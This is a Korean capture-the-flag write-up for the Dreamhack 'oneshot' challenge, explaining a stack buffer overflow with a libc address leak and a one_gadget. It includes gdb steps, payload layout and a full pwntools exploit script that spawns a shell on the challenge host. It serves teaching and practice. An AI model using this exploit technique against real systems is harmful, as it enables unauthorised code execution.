oneshot

46 bytes into a 16-byte buffer, with a leaked stdout address turning a one-gadget into a working shell.

2026.08.18 Pwn original post

소스코드 분석

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);   // [1] stdout 주소 leak

    printf("MSG: ");
    read(0, msg, 46);                 // [2] 16바이트 버퍼에 46바이트 입력 → BOF

    if (check > 0) {                  // [3] check가 0이어야 계속 진행
        exit(0);
    }

    printf("MSG: %s\n", msg);
    return 0;                         // [4] return 시 RET 주소로 점프
}

취약점

msg 는 16바이트지만 read() 가 최대 46바이트를 받으므로 30바이트 초과 입력이 가능합니다. 카나리가 없기 때문에 스택을 그대로 덮을 수 있습니다.

스택 레이아웃 분석

gdb 로 실제 변수 주소를 확인합니다.

$ gdb ./oneshot
(gdb) b main
(gdb) r
(gdb) p &msg      # msg 시작 주소
(gdb) p &check    # check 시작 주소

실제 스택 구조 (컴파일러가 정렬용 패딩 8바이트 삽입):

[낮은 주소]
rbp-0x20   msg[16]            ← 입력 시작점
rbp-0x10   (패딩 8바이트)      ← 컴파일러가 16바이트 정렬을 위해 삽입
rbp-0x08   check (8바이트)     ← 0이어야 exit() 분기 안 함
rbp+0x00   SFP   (8바이트)     ← 저장된 프레임 포인터
rbp+0x08   RET   (8바이트)     ← 덮을 목표
[높은 주소]

주의: 코드에서는 msg[16] 바로 다음에 check 처럼 보이지만, 실제 메모리에서는 컴파일러가 8바이트 패딩을 삽입합니다. gdb 로 직접 확인하지 않으면 패딩 존재를 놓치기 쉽습니다.

익스플로잇 전략

1단계 — libc 주소 leak

프로그램이 직접 stdout 주소를 출력해줍니다.

stdout: 0x7f3a001ec620

이 값으로 libc 가 메모리 어디에 로드됐는지 계산합니다.

libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]

2단계 — one_gadget 주소 계산

one_gadget 은 libc 파일 안에 존재하는, 단 하나의 주소로 점프만 해도 /bin/sh 가 실행되는 코드 조각입니다.

$ one_gadget libc.so.6
0x45216  execve("/bin/sh", rsp+0x30, environ)
0x4526a  execve("/bin/sh", rsp+0x30, environ)
0xf03a4  execve("/bin/sh", rsp+0x50, environ)

libc 파일 내 고정 offset 이므로, libc_base 를 알면 실제 주소를 계산할 수 있습니다.

one_gadget = libc_base + 0x4526a   # 조건이 맞는 후보 선택

3단계 — payload 구성

[msg 16바이트] + [패딩 8바이트] + [check 8바이트, \x00으로] + [SFP 8바이트] + [RET = one_gadget]
payload  = b'A' * 24              # msg(16) + 컴파일러 패딩(8)
payload += b'\x00' * 8            # check = 0 유지 (exit 방지)
payload += b'B' * 8               # SFP 덮기
payload += p64(one_gadget)        # RET → one_gadget

check 를 \x00 으로 채우는 이유: if (check > 0) 조건에 걸리면 exit(0) 으로 빠져나가므로, check 영역은 반드시 0을 유지해야 합니다.

최종 익스플로잇 코드

from pwn import *


def slog(name, addr):
    return success(": ".join([name, hex(addr)]))


p = remote("host3.dreamhack.games", 23231)
e = ELF("./oneshot")
libc = ELF("./libc.so.6")
one_gadget_offset = 0x4526a          # one_gadget 툴로 찾은 offset

# [1] libc leak
p.recvuntil(b"stdout: ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = libc_base + one_gadget_offset

slog("stdout", stdout)
slog("libc_base", libc_base)
slog("one_gadget", one_gadget)

# [2] payload
payload = b'A' * 24                  # msg(16) + 컴파일러 패딩(8)
payload += b'\x00' * 8               # check = 0 유지
payload += b'B' * 8                  # SFP
payload += p64(one_gadget)           # RET 덮기

p.sendafter(b"MSG: ", payload)
p.interactive()

핵심 개념 정리

  • one_gadget: libc 내부에 존재하는, 단 하나의 주소로 점프만 해도 /bin/sh 를 실행하는 코드 조각. 단, 실행 시점의 레지스터/스택 상태가 조건을 만족해야 동작함.
  • libc leak: PIE/ASLR 환경에서 실행마다 주소가 바뀌므로, 프로그램이 출력하는 libc 내부 심볼 주소를 이용해 libc_base 를 역산하는 기법.
  • 컴파일러 정렬 패딩: 컴파일러는 스택 변수를 16바이트 경계에 맞추기 위해 코드에 없는 빈 공간을 삽입할 수 있음. gdb 로 실제 주소를 확인하는 습관이 중요.